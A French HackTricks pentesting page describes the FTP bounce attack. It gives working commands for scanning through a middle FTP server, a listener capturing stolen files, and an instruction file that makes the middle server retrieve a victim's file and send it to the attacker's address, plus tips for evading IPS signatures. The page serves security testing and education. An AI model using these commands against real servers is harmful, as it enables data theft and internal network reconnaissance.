FTP Bounce — Téléchargement 2 du fichier FTP
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Résumé
Si vous avez accès à un bounce FTP server, vous pouvez le faire demander des fichiers depuis un autre FTP server (où vous connaissez des identifiants) et télécharger ce fichier sur votre propre serveur.
Prérequis
- Identifiants FTP valides sur le FTP Middle server
- Identifiants FTP valides sur le Victim FTP server
- Les deux serveurs acceptent la commande
PORT(attaque bounce FTP) - Vous pouvez écrire dans un répertoire du FTP Middle server
- Le serveur intermédiaire possède plus d’accès sur le Victim FTP Server que vous
Étapes
- Connectez-vous à votre propre serveur FTP et mettez la connexion en mode passif (
pasvcommand) afin qu’il écoute dans un répertoire où le service victime enverra le fichier. - Créez le fichier que le FTP Middle server enverra au Victim server (le exploit script). Ce fichier sera en texte brut et contiendra les commandes nécessaires pour s’authentifier sur le Victim server, changer de répertoire et télécharger un fichier vers votre propre serveur.
- Connectez-vous au FTP Middle Server et téléversez le fichier précédent.
- Faites en sorte que le FTP Middle server établisse une connexion avec le Victim server et envoie le fichier exploit.
- Capturez le fichier sur votre propre serveur FTP.
- Supprimez le fichier exploit du FTP Middle server.
Vérification rapide des hôtes bounce vulnérables
- Nmap prend toujours en charge les vérifications FTP bounce. Exemple pour vérifier un possible middle server:
nmap -Pn -p21 --script ftp-bounce <middle_ftp_ip>
# or directly attempt a bounce scan
nmap -Pn -p80 -b user:pass@<middle_ftp_ip>:21 <internal_target_ip>
Si le serveur refuse les valeurs tierces PORT, le scan échouera ; certains imprimantes embarquées/anciennes, NAS et démons FTP d’appliance l’autorisent encore.
Automatiser le 2ᵉ téléchargement FTP
Voici une méthode modernisée pour récupérer un fichier via un serveur FTP intermédiaire vulnérable.
- Ouvrez un listener passif sur votre machine d’attaque (n’importe quel TCP sink fonctionne) :
nc -lvnp 2121 > loot.bin # or run a small pyftpdlib server
-
Notez votre IP comme
A,B,C,Det le portPcommep1,p2(p1 = P/256,p2 = P%256). -
Construisez le fichier d’instructions que le serveur intermédiaire rejouera auprès de la victime :
cat > instrs <<'EOF'
USER <victim_user>
PASS <victim_pass>
CWD /path/inside/victim
TYPE I
PORT A,B,C,D,p1,p2
RETR secret.tar.gz
QUIT
EOF
# Add padding so the control channel stays open on picky daemons
dd if=/dev/zero bs=1024 count=60 >> instrs
- Upload & trigger depuis le serveur intermédiaire (classic proxy FTP) :
ftp -n <middle_ftp> <<'EOF'
user <middle_user> <middle_pass>
put instrs
PORT <victim_ip_with_commas>,0,21
RETR instrs
QUIT
EOF
- Récupérez le fichier depuis votre listener (
loot.bin). - Nettoyez le fichier
instrsuploadé sur le serveur intermédiaire.
Remarques :
- Le padding (
dd ...) empêche la connexion de contrôle de se fermer avant que le RETR ne se termine (problème de fenêtre TCP large discuté dans des writeups classiques). - Tout service capable d’écouter et de dumper du TCP peut remplacer la socket FTP PASV (par ex.,
socat -u TCP-LISTEN:2121,fork - > loot.bin). - Si le serveur intermédiaire restreint les ports privilégiés, utilisez un port élevé dans
PORTet ajustez votre listener en conséquence.
Astuces supplémentaires
- Utilisez un serveur FTP bounceable pour port-scan des hôtes internes lorsque le relais de fichiers est bloqué :
nmap -Pn -p22,80,445 -b anonymous:<email>@<middle_ftp> <internal_ip>
- Certaines WAF/IDS modernes (ex., Juniper IPS) incluent des signatures spécifiquement pour FTP:EXPLOIT:BOUNCE-ATTACK ; des payloads bruyants ou l’absence de padding peuvent les déclencher.
- Lorsque le serveur intermédiaire applique des restrictions “PORT to same host”, placez votre listener sur le serveur intermédiaire lui‑même (si vous disposez de write/execute) et transférez le fichier capturé ensuite.
Pour un walkthrough old-school plus détaillé, consultez : http://www.ouah.org/ftpbounce.html
Références
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


